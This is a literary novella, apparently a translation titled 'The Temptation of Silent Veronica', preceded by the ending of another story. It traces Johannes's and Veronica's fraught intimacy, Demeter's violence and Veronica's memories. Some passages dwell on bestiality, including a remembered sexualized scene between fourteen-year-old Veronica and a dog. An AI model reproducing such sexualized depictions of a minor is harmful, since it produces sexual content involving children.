And she spoke one more time: "Please, sir, be so kind as to leave," she said, "I feel disgusted."
To which he just smiled. Then she said: "Hey you, please leave!" To which he sighed contented: "At last, at last, you dear little dreamer, you let down your guard!"
And then with a shudder she felt, despite all, her body fill up with lust. But as it happened it was as if she were thinking about something she had once felt in a long distant spring: that being there as if for everyone's pleasure, and yet just for one. And very vaguely, the way children picture God, that He's great, she had an intimation of her love.
# The Temptation of Silent Veronica
TWO VOICES EMANATING from somewhere sound in your ears. Maybe they're just lying there silently, side by side, entwined in one another on the pages of a diary, the dark, deep voice of the woman lifting itself with a sudden start, as situated on the page, encircled by the soft, broad, drawling voice of the man, the latter knotted with the former, her as yet unfinished voice left lying there, and in between, that which they did not have time to hide peering forth. Or maybe it isn't so. But maybe somewhere in the world there is a point at which these two voices, hardly otherwise distinguishable from the lackluster muddle of mundane sounds, shoot out and then merge like two beams intertwined, somewhere, and who knows, maybe we might want to search for such a point, the proximity of which we can only sense here by a certain unrest, like a movement of music not yet heard, yet already formulated in the heavy, woolly folds of the a distant curtain still intact. Maybe these fragments of sound will then collide and burst out of the shell of their sickness and weakness into clear, steadfast, upright declarations.
"Muddled!" In retrospect, in those days when a terrible decision had to be made, to opt either with an indiscernable decisiveness, like a thin thread stretched taut, for the imagination, or for the run of the mill reality, in those days of a desperate last ditch effort to stretch the limits of the unfathomable into this reality – and then to let go and fling yourself into the simply lived as if into a tousled heap of warm feathers, he addressed his dilemma as one might a person. In those days he spoke hourly to himself and raised his voice, because he was afraid. Something had sunk in and settled in him with that incomprehensible, unstoppable imminence with which somewhere in the body a pain suddenly wells up, billows into swollen tissue, and keeps becoming more and more real, evolving into an illness that slowly takes hold of the body with the mild ambiguous smile of a torturer.
"Oh you miserable muddle of emotions," Johannes begged, "if only you were outside of me!" And: "If only you were a skirt, and I could grab you by the pleats. Talk to you. Then I could say, You are God, and hold a pebble under my tongue when talking of you, to tap a higher truth! After which I could say, I put myself at your mercy, bid you to help me, to watch over me, whatever I do; there is something dead center and motionless inside me, and it's you."
But he just lay there with his mouth in the dust and his heart trying to catch up like a child. All he knew was that he needed its dumb thump, because he was a coward, that's all he knew. But it happened all the same, as if deriving strength from his weakness, a hidden strength that he gleaned and to which he was attracted, the way things had sometimes enticed him in his youth, drawn now by the powerful, still entirely faceless head of an obscure force, and convinced that he could grow into it and plunk it onto his shoulders and infuse it with his own face.
And one time he said to Veronica: It's God. Still fearful and devout, it had been his first attempt to grasp the indefinable something which they both felt; they glided past each other in the dark house; upwards, downwards, past each other. But as soon as he said it, it came out like a hollow phrase and bespoke nothing of what he meant.
But what he meant at the time was perhaps just something like those telling images that sometimes form in stone, nobody knows where they come from, what they signify, or what to make of them in their complete reality, in walls, in clouds, in swirling eddies of water, what he meant was perhaps only the incomprehensible manifestation of something still absent, like those occasional looks that peak forth in a face that, in fact, have nothing whatsoever to do with that face, but rather belong to some other suddenly sensed face far removed from all present perception, happenstance, something like faint melodies discerned in extraneous sounds, like feelings in people, indeed he harbored feelings that when he sought to put them into words proved not to be feelings at all, but only the outward manifestations, as if something had prolonged itself in him, already poking its tips into the well of emotion, moistening meaning, stoking his fear, his reticence, the silent depths of self, the way things sometimes stretch themselves out on feverishly bright spring days when shadows crawl out of the things that cast them, stopped dead in their stealthy advance like reflections in a stream.
And he often said to Veronica that it really was not fear or weakness that he felt in him, but just a presentiment of something, the way fear sometimes mimics anticipation before a never before seen, as yet faceless experience, or the way you sometimes know for a fact and altogether inexplicably that fear is fathoming a trace of the female in yourself, or that weakness will one day erupt one morning in a country house serenaded by the chirp of birds. It was in this strange state of mind that such half-baked, inexpressible notions came to mind.
But one time Veronica looked at him with her big, quietly bristling eyes – they sat all alone in one of the half-dark rooms – and she asked, "So is there also something in you that you can't clearly feel and fathom, and you simply call God, an entity outside yourself and rationalized by you as a reality, as if it would then take you by the hand? And maybe it's what you never want to call cowardice or going soft, a state of mind embodied by a figure that could take you under the folds of its dress? And lacking purpose, so to speak, you just make use of such words as God to suit certain purposes, to drive certain movements without yourself being moved, as it were, to foster visions that you never permit to attain a real life form, since draped in their dark clothes with an otherworldly aura they fade away with the certainty of strangers from a great, well-ordered land, like the living? Admit it, because they're like the living and because you'd give anything to feel them as real?"
"They're things," he contended, "veiled behind the horizon of consciousness, things that glide by perceptibly behind the horizon of our consciousness, or, in fact, behind a strange, inscrutable, possibly even newfangled horizon of consciousness, a horizon suddenly insinuated in which no things are yet made manifest." They are ideals, he already insisted back then, not blurry nebulae or signs of some sort of mental distress, but rather premonitions of a whole, prematurely hatched, and if only you could succeed in splicing it all together there would be something standing there before you, something all in splinters as if struck by a cosmic blow from the bottommost roots to the towering treetops of thought something that would in the most minute of its movements be like the wind surging in the sails of a schooner. And he jumped up and made a sweeping movement of almost physical longing.
And at the time she said nothing for a long while, and then she replied, "There is something in me, too...you see: Demeter..." and then she fell silent, and that was the first time she mentioned Demeter.
Johannes did not initially understand why she did so. She said that she once stood at a window looking out at a barnyard with her eyes fixed on the rooster, looking and thinking of nothing, and only after a while did Johannes realize that she meant the barnyard in their house. Then Demeter came and stood beside her. And she became aware that she had indeed been thinking of something the whole time, only in a dark haze, and now it rose to consciousness. And Demeter's proximity, she told him – you understand, her thoughts came together in the dark – Demeter's proximity both helped her and hemmed her in. And after a while she realized that she'd been thinking of the rooster. But it might well be that she was thinking nothing, but had just been idly gazing, and what she gazed at remained lying inside her like a strange, hard body, since no thought dissolved it. And it seemed to remind her in some indefinable way of something else that she could not put her finger on. And the longer Demeter stood there beside her the more clearly, strangely and fearfully did she begin to feel the empty outline of it in her. And Veronica gave Johannes a questioning look as to whether he got it. "Again and again I sensed this unfathomably indifferent downward glide of the creature," she said, what she saw before her she can still see clearly today, like something that just happens, something not meant to be understood, that unfathomably indifferent downward glide, and then suddenly to be free of all arousal and stand there a while, insensate, like a fool, and as if far removed in your musings, under a dim insipid light. Then she said, "Sometimes on long languid afternoons when I went walking with my aunt, it all seemed to hover above me; I thought I could feel it, and it was as if the memory of that noxious light came streaming from my stomach."
There was a pause, Veronica swallowed in search of the next word.
But she came right back to the same subject. "Afterwards I always sensed from afar when a wave like that was about to come over me," she added, "and over him, and fling him down and then let go again."
And again she fell silent.
But suddenly her words slid out of her mouth as if they had to hide in the big, dark room, huddling close to Johannes' face. "At just such a moment, Demeter grabbed my head and held it down hard against his breast, said nothing, but just kept holding it down," Veronica whispered; and then she fell silent again.
But Johannes felt as if a secret hand had touched him in the dark, and he trembled as Veronica continued: "I don't know how to characterize what happened to me at that moment, I suddenly fathomed that Demeter must be like that rooster, living in a terrible expanse of emptiness from which he suddenly burst forth." Johannes felt that she was looking at him. It troubled him to hear her talk about Demeter, all the while talking about things which he vaguely sensed had something to do with him. He had a dark inkling that Veronica wanted to transform what to him remained something abstract, a passing notion of God, like those obscure semblances of self that infiltrate the emotional void in the vague volition of sleepless nights, into imperative action. And feeling defenseless, it seemed to him that her voice now took on a pitying and wanton tone as she continued: "At the time I cried out: 'Johannes would never do such a thing!' But Demeter just said: 'To hell with Johannes!' and put his hands in his pockets. And then – do you remember? – when you came back to see us for the first time in a while, how Demeter confronted you? 'Veronica says you're better than me,' he sneered at you, 'but you're nothing but a coward!' And at the time you wouldn't let him talk to you like that, and fired back, 'Prove it!' And then he punched you in the face. And then – remember? – you wanted to strike back, but when you saw his threatening look and felt the first sting of the pain he'd inflicted, you were suddenly overwhelmed by a terrible fear of him, say it isn't so, an almost respectful, friendly fear, and then suddenly you broke out in a smile, without knowing why, but just kept smiling and smiling with a somewhat twisted mouth, giving him an almost sheepish grin in response to his angry gaze, a warm look infused with such sweetness and certainty that it suddenly evened the score and you took it all in...You told me afterwards that you wanted to become a priest...That's when I suddenly realized: You, not Demeter, are the animal..."
Johannes jumped up. He didn't understand. "How can you say such a thing?" he cried out. "What the devil are you thinking?!"
But Veronica defended herself with a hint of disappointment, "Why didn't you become a priest? A priest has something of an animal about him! That emptiness where others are full of themselves. That mildness of manner that you can already smell in their priestly garb. That empty mildness that momentarily keeps things from happening, like a sieve, that then immediately runs dry. We really ought to try to make something out of it. It made me so happy when I realized that..."
He sensed the unbridled emotion in her voice and fell silent, and felt himself bristling as he pondered her remark, getting hot under the collar, all bent out of shape, straining not to let her conceits eclipse his, their foggy resemblance notwithstanding, though his own seemed far more real and tight like a hotel room for two. Once they had both calmed down, Veronica said: "It's that thing that I still can't quite seem to grasp that we ought to examine together." She opened the door and peered down the stairs. They both felt as if they were looking around to make sure they were alone, and the dark, empty house suddenly hung there over them like a great void. Veronica said: "Whatever I just said, that's not it...I don't really know myself...But tell me, what were you thinking, tell me what do you mean by that sweet, smiling, face of fear! You looked completely devoid of self, stripped down to some warm naked softness within when Demeter struck you in the face."
But Johannes did not know what to say. So many possibilities ran through his mind. It was as if he heard someone speaking in a room next door and grasped from stray words that that person was talking about him. Then all at once he asked, "And you talked about it with Demeter too?"
"But that was much later," Veronica replied, hesitated, and said: "just once," and after a while, "a few days ago. I don't know what got into me." Johannes sensed...a vague something...a distant dismay: that's what jealousy must feel like.
And only after quite a while did he once again notice that Veronica was speaking. He caught what she said, mid-sentence: "...it was so strange, I really got what that person meant."
To which he responded mechanically, "That person?"
"Yes, the peasant woman who lives upstairs."
"Oh, yes, the peasant woman."
"The one the boys in the villages talk about," Veronica repeated." "But can _you_ imagine? She never again had a lover, only her two big dogs. And it may be repulsive what they say about her, but just imagine it: those two big beasts rearing up, sometimes snarling, strutting their stuff, imperious, as if you were their equals, and somehow you are, afraid but for a minuscule speck of self, afraid of what's hiding under their fur, even though you know that it takes just one gesture to make them back off, and the next moment they're obedient, submissive beasts – but it's not just about the animals, it's about you and your loneliness, you and again you, it's you and an empty room full of animal hair, no animal longs for that, what they want is something I can't express, and I'm not sure how, but I do understand."
Johannes protested, "It's a sin what you're suggesting, it's disgusting."
But Veronica wouldn't let up: "You wanted to become a priest. Why? I thought to myself...it was because then you'd stop being a man to me. Listen...just listen. Without any prompting Demeter said to me, 'That one over there won't marry you, not that one; you'll stay here and grow old like your aunt...' Don't you get it, that that shook me up? Isn't it the same for you? I had never conceived of my aunt as a person. I never thought of her as a man or a woman. Now all of a sudden I panicked at the thought that what she was I too could become, and felt that something had to happen. And it suddenly struck me that for the longest time she hadn't aged and then all at once grew very old and remained that way. And Demeter said, 'We can do as we please. We don't have much money but we're the oldest family in the province. We're different from the others, Johannes didn't join the ministry and I didn't join the army, he didn't even become a priest. They all look down on us a little because we're not rich, but we don't need money and we don't need them.' And maybe because I was still shook up about my aunt, it struck me as so mysterious – so dark, like a door quietly sighing – and somehow Demeter's words summed up my sense of our house, but you know what I mean, don't you, the way you too always felt it, our garden and the house itself...oh, that garden...Sometimes in the middle of the summer I thought: _that's what it must feel like lying in the snow, so inconsolably languorous, floating between heat and cold with nothing beneath you, you want to leap up but go limp in a sweet effusion._ When you think of that garden, don't you feel this empty, boundless beauty, suffused with light, light in dull abundance, light that makes you speechless, senselessly soothing on the skin, and a groaning and rubbing in the barks of trees and an incessant quiet swish in the leaves...? Don't you also feel as if life's loveliness were coming to an end here in our garden, as if it were something flat, endlessly level, something that closes you in and cuts you off like a sea in which you'd drown if you entered it...?"
And now Veronica jumped up and stood before Johannes; with her outstretched fingers glowing in the waning rays of some lost light, she seemed to fearfully pluck the words out of the darkness.
"And often then I feel our house," her words fumbled about, "its darkness with the creaking steps and complaining windows, its nooks and towering cupboards and sometimes, somewhere, near a high, little window, light slowly seeping in, as if emptied out of a toppled bucket, and a fear, as if someone were standing there with a lantern in hand. And Demeter said, 'It's not my way to spin words, that's more Johannes' thing, but I can tell you there is sometimes something senselessly erect in me, a swaying, like the trunk of a tree, emitting a terrible, altogether inhuman sound, like a child's rattle, a whimper...all I have to do is bend over and I feel like an animal...sometimes I'd like to paint my face...' Whereupon it seemed to me as if our house were a world unto itself in which we lived all alone, a sad world in which everything gets twisted and funny looking like things under water, and it seemed to me almost natural that I give in to Demeter's wish. He said, 'It remains a place apart and hardly really exists, since nobody knows it as we do, it has no connections to the real world, no longing to let it get out...' You must not think, Johannes, that I felt anything for him. He just sprung open like a big mouth with sharp teeth that wanted to devour me, as a man he remained as strange to me as all the others, but I suddenly imagined myself impassive and stiff, tipping into him, the excess droplets of self falling from his lips, and me being gulped down as if by a slurping animal...There are times when you'd like to experience things simply as actions shared with no one and nothing else. And then you came to mind, and for no particular reason I rejected Demeter's advances...there must be a good way to deal with it, I thought, your way maybe..." Johannes stammered, "What do you mean?"
She said: "I have only the vaguest idea of what we could be for each other. We are still afraid of each other, sometimes when you speak even you seem as hard and unforgiving as a stone striking out at me: but what I mean is a way in which we can completely meld into the mix of being two, and not stand by like a stranger and listen...I don't know how to explain it...what you sometimes call God is so..."
Then she said things that bewildered Johannes: "He whom you really ought to mean is nowhere present because he is in everything. He is a fat, nasty woman who forces me to kiss her breasts, and at the same time He is me myself, who sometimes, when she's alone, lays herself flat on the floor in front of a cupboard and thinks things like this. And maybe you're just like that; you're sometimes so impersonal and withdrawn from the world like a candle in the dark, nothing in itself, but just a thing that makes the darkness greater and more visible. Ever since that time I saw you shrink back in fear, it sometimes seems as if you'd vanished from my consciousness and all that remains is fear, a dark speck, and then a warm, soft rim around it. And what it really comes down to is that you're like the action itself and not the person engaged in it; we have to be alone with what happens, and at the same time together, silent and closed off like the inside of the four windowless walls of a room in which anything could happen, and yet just like that, without cutting into one another, as if it were all only happening in our thoughts..."
And Johannes did not understand.
Whereupon a change suddenly came over her, like something sinking back into itself, even the lines of her face grew finer in parts, and elsewhere more pronounced; she still might have had something more on the tip of her tongue, but no longer appeared to be the same person who had just spoken, and her words now came out haltingly, as if stumbling on a wide, unfamiliar pathway, "What are you thinking?...No man I know could possibly be so impersonal, only an animal could be like that...Help me please...for heaven's sake, why does an animal always come to mind when I try to talk about it?"
And Johannes tried somehow to bring her back to her senses, all at once he spoke up, he wanted to keep listening.
But she just shook her head.
From then on Johannes felt a terrible ease knowing that he was reaching past what he really wanted by a hair's breadth. Sometimes you can't say just what it is that you darkly crave, but you know that it is going to slip through your fingers; you then live out the rest of your life as if in a locked room afraid to leave. It sometimes worried him that he might suddenly feel the uncontrollable urge to burst out whimpering and get down on his hands and knees and sniff at Veronica's hair; such notions crossed his mind. But nothing happened. They just kept passing each other by, exchanging glances, swopping empty niceties or searching words – every day.
One time the whole thing seemed to him like being absolutely alone and then suddenly bumping into someone, and with one fell blow that random burst of proximity hems in and tops off your solitary state. Veronica came down the stairs at the foot of which he stood waiting; each was frozen in his own isolation in the dark. And he did not think at all that he desired something from her, but it was as if the two of them had sprung out of some fever dream, the impression was so alarming that he said: "Come on, let's go away from here together."
In response to which, however, she muttered something, only fragments of which he caught: "...can't love...can't marry...I cannot leave my aunt."
And then he tried again, he said: "Veronica, a person, or sometimes even just a word uttered, a burst of warmth, a breath, is like a little pebble tossed into a whirlpool that suddenly reveals the axis you turn on...we really should to do something together, then maybe we might find it..."
But the sound of her voice in reply had something even more wanton than that other time when she replied the same as she did now: "No man I know could possibly be so impersonal, only an animal...well maybe if you were about to die..." And then she said: "No."
Whereupon he was once again gripped, not by a resolve, but by a vision, nothing to do with reality, but rather a solely self-referential construct like a piece of music, and he said, "I'm going away, that's for sure, maybe I'll die." But again he knew that it wasn't really what he meant to say.
And again and again at this point in his life he sought to justify his resolve, and asked himself what she must really be like to demand so much. He sometimes said: "Veronica," and sensed the sweat clinging to her name, the meek, irredeemable longing, the cold wet clamminess of making do with her isolation. And he had to keep thinking of her name every time he saw the two little ringlets of hair hanging there before him over her forehead, those little curls, painstakingly stuck to her brow, like something not a part of her, or when he saw her smile those times when they sat together at table and served her aunt. And he felt compelled to look at her whenever Demeter opened his mouth to speak; but time and again he struck something that defied his understanding, how a person like her could have become the object of his ardent resolve. And when he thought back, there was already in his earliest memory something about her, something long since eclipsed like the odor of extinguished candles, circumvented like the guest rooms in the house, those lifeless spaces draped with linen sheets eternally slumbering behind drawn curtains. And only when he heard Demeter speak, saying things so awfully commonplace and colorless, superfluous words like those unused sticks of furniture in empty rooms, it all suddenly seemed to him like a sinful ménage-à-trois.
And despite everything, later, whenever he thought of her, all he heard was her saying no. Three times she suddenly burst out saying no as if she were a complete stranger. One time it was only in a whisper, and even so it sounded strangely unhinged, dissolved from the rest, and resounded throughout the house, and then, then it was like the stroke of a whip or like some senseless obstinate insistence, but then it was quiet again, sunk back into itself and almost like a plaint of pain.
And from time to time when he thought of her, he almost found her beautiful. Hers was an aggregate beauty the eye can easily miss and just as soon find ugly. And she gave the impression as she emerged before him out of the darkness in the house, a darkness that, strange as it may seem, closed in again behind her, and as she glided by with that utterly strange and enticing sensuality – moving as if afflicted with some rare condition – gliding past him, every time it made him feel as if she took him for an animal. He felt it incomprehensibly and terribly in his heightened sense of reality, so unlike the way he used to think things were. And even though she wasn't standing there before him, he perceived everything about her with an inordinate clarity, her towering height and her broad, somewhat flat breasts, her low, receding brow, those strange, soft, little curls of hers peeking out from under her thick, dark, tightly bound hair, her big, sensual mouth, and the light down of black hair covering her arms. And the way she stood, head bowed, as if her slender neck couldn't bear the weight without bending, and the curious, almost shamelessly resigned indifference with which she leaned her body a little bit forward when she walked. But now they hardly spoke to each other.
Veronica suddenly heard a bird call, and another bird answer the call. And that was the end of that. All that there was between them ended with this little random occurrence, and something else began that only mattered to her.
For then, as if grazed by a lacey, swift, soft-haired animal tongue, a gust of wind carrying the scent of the high grass and the wild flowers brushed hastily, cautiously against their faces. And the preceding conversation that had dragged on sluggishly, suddenly broke off the way you let something you've long since stopped thinking about just run through your fingers. Veronica was startled; she only fathomed the odd intensity of her fear after the fact from the redness that now rose to her face, and from a memory that suddenly cropped up again unannounced and lingered, still hot and vivid, after all those years. So many memories had indeed recently reawakened, and it seemed to her she had already had a hint of it the night before, and the night before that, and one night two weeks ago. And it also struck her that this same association had already troubled her sometime long ago, perhaps in her sleep. Again and again these strange memories came to mind in the last few days, tumbling out to the left and to the right, in advance and in the wake of whatever she happened to be thinking, like a shoal of fish guiding her somewhere, in the precinct of childhood; but this time she knew with an almost unnatural certainty that it was the real thing. It was a memory that she suddenly recognized from many years ago, a memory that sprung up completely out of context, in a hot flash, as if it were happening then and there. Back then she loved to look at the pelt of a great big Saint Bernard, especially the fur up front where, with each step, the broad chest muscles protruded over the vaulted bones like two hills; the fur at that spot was so very profuse and golden brown, and it was so much like immeasurable wealth and quiet infinity that her eyes grew blurry when calmly fixed on a single spot. And whereas she ordinarily felt a lone, inarticulate, powerful feeling of well-being, the gentle camaraderie of a fourteen-year-old girl for a favorite object, in this case it was something like silent rapture before an entire landscape. It's like when you go walking and there is the forest and the meadow, and the mountain and the field, and in this great order all the constituent parts fall obediently into place, as perfectly as a pebble; but viewed as a whole, the entire spectacle looks so terrifying, so very much alive, that amidst your admiration you suddenly shrink back in fear as if before a beast with its legs drawn in, hunched in ambush.
But one time when she lay there beside her dog, it suddenly struck her that this is how the giants must be; with a mountain and a valley and forests of fur on the chest, and songbirds swaying in the hair, and little lice clinging to the songbirds, and – that was as much as she knew, but it didn't mean it had to end here, and again everything seemed so organized, so tightly pressed together, that it all only seemed to hold still by the sheer force of fear and order. And she thought to herself: if the parts of the whole got angry it would all suddenly fly apart into a shrieking, thousand-fold explosion of life and shower you with its terrible plethora, and when it all then pounces upon you with loving intent it must feel like being stomped upon by mountains and tousled by trees, and little wafting hairs would have to sprout all over your body, crawling with vermin, and your ears would ring ecstatically with the sound of an unfathomably strident voice, engulfing you and tearing you into the thrall of its animal multitude.
And when she noticed that her little pointed breasts rose and sank in rhythm with that villous breath panting beside her, she suddenly wanted it all to stop, lest she be otherwise impelled to permit the unspeakable. But when, overpowered by the force and no longer able to hold it off, her breath once again fell in line, as if that other life slowly drew her in. She closed her eyes and again imagined herself lying among the giants in a fitful flux of images, but much closer now and warmed as if by the passage of low floating clouds.
When after a long while she once again opened her eyes everything was as before, except that the dog now stood up straight and stared at her. And then all at once she noticed that something pointed, red, woefully twisted had silently poked its way out of his _meerschaum_ yellow fleece, and at the very moment she now wanted to get up she felt the tepid touch of a tongue against her face. And feeling stunned, unable to move...it was as if she herself were also an animal, and despite the terrible fear that gripped her, something cringed hot inside her...like birds squawking and feathers fluttering in the hedgerow, till all falls silent and soft like a flurry of floating feathers...
And that was what she remembered from before, it was precisely in that hot, heretofore unknown burst of terror that she now suddenly situated everything again. For though we cannot know what brings on a certain feeling, she now sensed so many years later that she was gripped by the very same fear as back then. And there before her stood Johannes, who was going to leave today, and here she stood. Thirteen or fourteen years had since elapsed and her breasts were not as pointedly red-nippled with anticipation as before, they sagged a wee bit and seemed just a little sad, like two paper party hats left lying on a flat surface, for her chest had widened and it felt as if the room had swelled away from her. But she hardly noticed, peering at herself in the mirror when naked, in the bath, or changing clothes, since she had long since limited her gestures to the bare essentials, but rather, just sensed the difference. It sometimes seemed as if she used to be able to lock herself up snug and tight in her clothes, whereas it was now as if she were only still able to cover herself. She remembered how in the past she could feel herself from the inside out, the sensation like that of a round, tightly stretched droplet of water, though now for the longest time she felt more like a little, soft-rimmed puddle – the feeling had become so broad and flaccid that it might well have been mistaken for lassitude and languor if it did not sometimes swell up, as if something incomparably soft were slowly, very slowly, from the inside out, to nestle up against it in a thousand painstakingly gently folded pleats. And there must have been a time when she rubbed up against life and felt it more distinctly, as if with her hands or pressed up against her own body, but for the longest time now she no longer sensed that kind of immediacy, and only knew then that something must have come over her and covered it up. And she didn't know what it was, whether a bad dream or a waking fear, as if she had shrunk back in terror before something she had witnessed with her own eyes – until today. For in the meantime the feeble drift of everyday experience had draped itself over these impressions and wiped them away, as a languid, long-lasting wind wipes away traces in the sand; all that still registered in her soul was the quiet hum of monotony, now rising, now falling. She felt no more intense pleasures or sufferings, nothing that might noticeably or lastingly have lifted her out of the mundane muddle, living had just become a little less vivid. Days passed, each one the same as the next, the years likewise followed suit; each year, she felt, took something away and added something, and she slowly changed, but at no point was there a clear demarcation; she had a vague, fluid sense of self, and when she tried to sound her depths all she found was the flux of approximate and concealed forms, like when you feel something moving under a blanket without being able to identify it. It struck her little by little that she lived her life beneath a soft sheet or under a finely carved horn bell that grew ever more opaque. The things around her fell back farther and farther and lost their faces, and even her sense of self sank ever deeper into the distance. She was surrounded by a vast empty space in which her body hovered; it perceived the things around it, it smiled, it lived, but it all seemed unrelated and all too often she was engulfed by a dogged disgust that blurred all other feelings as if beneath a mask of tar.
And only when that strange agitation bestirred itself in her, coming to a head, as it did today, did she wonder if things might not turn out again as they had in the past. And later she even pondered if it might be love; love come long ago and long in coming.
And yet though it was happening far too fast for the tempo of her life, the cadence of taking it in was slower still, extremely slow, it was like a slow opening and closing of the eyes, interrupted by a fleeting glimpse that can't quite grasp what it sees, glancing and gliding by untouched. With this glance she saw it coming, and so could not conceive that it might be love; she abhorred him as darkly as she did everything outside her grasp, without hatred, without acrimony, feeling toward him as one does toward a distant land viewed from across the border, where the self softly and cheerlessly melds with the sky. But she knew that ever since then her life had become joyless, since something compelled her to revile the unknown. And while she otherwise just felt like someone unable to fathom why she did what she did, it now sometimes seemed to her that she had just forgotten how and could perhaps remember, if she put her mind to it. And something wondrous tormented her, which she suspected had to be like the remnant of the memory of an important forgotten thing stirring just beneath the surface of consciousness. And all of this started when Johannes returned – at that very moment, for reasons she could not explain, she remembered the time Demeter struck him and Johannes just smiled in reply.
Ever since then she felt as if someone had arrived who possessed precisely what she was lacking and quietly carried it around through the fading wasteland of her life. All he had to do was walk by and cast a passing glance at something or other and already the objects of his attention haltingly arranged themselves; when he cracked a startled smile at himself, it sometimes seemed to her as if he were able to inhale the whole world and hold it in his body and feel it from the inside, and when he then set it back down gently he looked to her like an artist juggling flying hoops; that was all there was to it. It piqued her with a blind imaginative intensity to think how lovely everything might well look in his eyes, to admit that she was envious of something he only might have felt. For although every semblance of order fell apart again under her gaze, and all she could muster for the things around her was the avid love of a mother for her child, too limited a love, she felt, her world weary languor now sometimes started to vacillate like a sound, like a sound ringing in her ear, like a sound ringing in her ear and that somewhere or other cambers and ignites a flame...a light and people making gestures of elongated longing, like parallel lines extending beyond the reach of reason that only conjoin far far out, almost in the infinite. He said they were only ideals, which gave her the courage to imagine that they might yet be realized. And perhaps it was only that at that very moment she attempted to stand up, but her body ached as if she were ill and couldn't bear its load.
And then, too, so many other memories came to mind, except that one. They all poured out and she didn't know why, and sensed somehow that only one was missing, and all the others tried to make up for it. And the notion took hold in her that Johannes could help her retrieve it, and that her whole life depended on her doing this one thing. And she also knew that it wasn't a strength that she sensed in him, but rather a silence, his weakness, this quiet, invulnerable weakness that extended like a vast space behind him, a space in which he could linger alone with the reverberations of everything that happened to him. But she could not think it through, which bothered her, furious that every time she felt she was on the verge of figuring it out, an animal came to mind; every time she thought of Johannes, an animal or Demeter intruded, and it dawned on her that they had a common enemy and tempter, Demeter, his mental image looming like a great straggling shrub, blocking and sapping the strength of her memory. And she could not tell if all this was rooted in that one memory that eluded her, or in a reason still to reveal itself. Was it love? It was a meandering in her mind, a tugging at the edge of consciousness. It was like walking along on a trail, ostensibly headed in a given direction, but dragging your legs with the lingering anticipation of suddenly arriving at and recognizing an altogether different destination from sometime long ago.
And he didn't get what made her tick, and could not comprehend how hard it would be to build a life for the two of them out of this wavering feeling based on something beyond her ken, but simply desired her, to make her his wife or lover. Unable to fathom why, it seemed to her so senseless and in the moment almost vile. She had never felt a focused desire; moreover, at that moment as never before, men seemed to her a mere pretext for something best avoided, something they could only vaguely incarnate. And suddenly she sank back again into herself and cowered in her darkness and stared at him, and for the first time she was stunned to experience this self-enclosure as a voluptuous gesture to which she wantonly surrendered, right there before his eyes, and yet out of reach. Something in her bristled against him like the soft, rustling fur of a cat, and as if toying with a little, glittering ball, she let a softly muttered "no" out of its box to roll before his feet...And then she screamed, as if suddenly convinced that he meant to stomp on it.
And now that their parting loomed irrevocably between them, hanging over their last moments together, this remote memory suddenly leapt forth crystal clear in Veronica's mind. She only sensed that this was the missing memory, couldn't say for certain why it mattered, and was a bit disappointed, because there was nothing in it as such to explain why she would have forgotten it till now; and its retrieval felt only like a cathartic coolness in the heat of the moment. She felt that she had already once in her life stood in fear before Johannes, as she did now, and could not fathom what the connection was, why this memory should have meant so much to her, and what it would mean to her in the future – but it suddenly seemed to her as if she now stood at exactly the same spot where she lost him long ago, and she sensed that it was at that moment that her actual experience, the experience of the real Johannes, had crested and come to an end.
At that moment it felt as if whatever there had once been between them was falling apart; although they stood very close to one another, she felt dizzy, off-kilter, as if they were sinking and sinking away from each other; Veronica peered at the trees beside which they were walking, their trunks stood straighter and more upright than seemed natural. And then and there she felt the full import of her _No!_ that she had previously uttered only haltingly and with a vague sense of apprehension, and it dawned on her that it was because of that that he was now leaving, even though he didn't want to. And for a while the realization gave her a leaden feeling like that of two bodies lying side by side, but distinctly separate, one beside the other, separate and sad, and each reduced to a solitary self, all the while sensing that they were on the edge of an emotional attachment; and something or other came over her that made her feel small and weak and good for nothing like a little dog limping pitifully on three legs, or like a ragged flag flapping in the breeze, it made her fall to pieces; and she longed to hold him to her with a quiet contortion like a soft snail with a broken shell reaching for another mollusk, in a desperate attempt to cling to it while dying.
But then she looked at him and hardly knew what she was thinking, and suspected that the only thing she really knew for certain – that memory that suddenly erupted and lay there like a solitary lump of debris – was perhaps not something that you could fathom in and of itself, but rather only in connection with something else – something that a burst of fear once held in abeyance and had since hardened and been encased by that fear, imprisoning a sentiment that it might have become, and from the broken shell of which it would surely fall out like a foreign body. Already her feeling for Johannes began to wane and drain off – something burst out of her in a released rush and tore her withered sentiment along like a dead and powerless branch of flotsam – and in its place a radiance rounded out the contours of the distant recesses of emotion she'd released, endlessly uplifted and glittering, protruding through the severed thread of dream nets.
And the conversation that they still carried on came out in short spurts and trickles, and while she took pains to participate, Veronica sensed between the words that it had already evolved into something else, knew now that he was determined to leave, and broke it off. All that they continued to say and do seemed perfectly futile now that it was clear that he was leaving and would not be coming back – and because she fathomed that she no longer wanted what she might otherwise have still persuaded herself to do, her residual sentiments hardened with a sudden twist into a stony, incomprehensible facial expression; without rhyme or reason, it hit her swift and hard, grabbed her and wouldn't let go.
And as he stood there before her in the web of his words she began to feel the insufficiency of his presence, his tenuous attachment to her true self, and the feeling pressed hard against something in her that already associated him with her memory of him, further intensifying her response, and she jabbed at his feeble life force the way you jab at the stiff and forbidding carcass of a dead cat stubbornly lying in your path, trying to shove it aside. And when she noticed that he still kept eying her with such an intense look, Johannes seemed to her like a big, beaten-down beast she couldn't get off her back, and she felt her memory like a little, hot object clasped in hand, and it almost made her stick her tongue out at him, riddled as she was with the contradictory urge to escape and entice, almost like a woman biting to fight off her attacker.
But at that moment the wind picked up again and her feeling dissolved in it and disengaged from all stiff resistance and hate, not jettisoning her harsh sentiments but swallowing them like something very soft, until all that remained was a residual dismay; no sooner did Veronica sense it than she felt that she left herself behind in its wake, and everything else around her trembled with foreboding. The murky morass that had until now hung like a dark fog over her life lifted, was suddenly set in motion, and it seemed to her as if the shapes of objects she'd long been searching for appeared as if pressed against a veil, and then vanished again. And yet nothing materialized fully enough for her to grasp, everything eluded consciousness, slipping through the still tentative words; and nothing could really be voiced, but once uttered every word was viewed from a distance, as if from a broad perspective and accompanied by that remarkably resonant understanding that everyday doings attain when crowded together on the stage of life and piled up helter-skelter on the gravel-strewn ground, suddenly looming as signposts on an otherwise invisible pathway. Like a gossamer silken mask, the morass draped everything in a light, silver-gray mist, and shifted about as if in anticipation of being ripped apart; straining her eyes, the dark realization flickered before her, as if shaken by invisible blows.
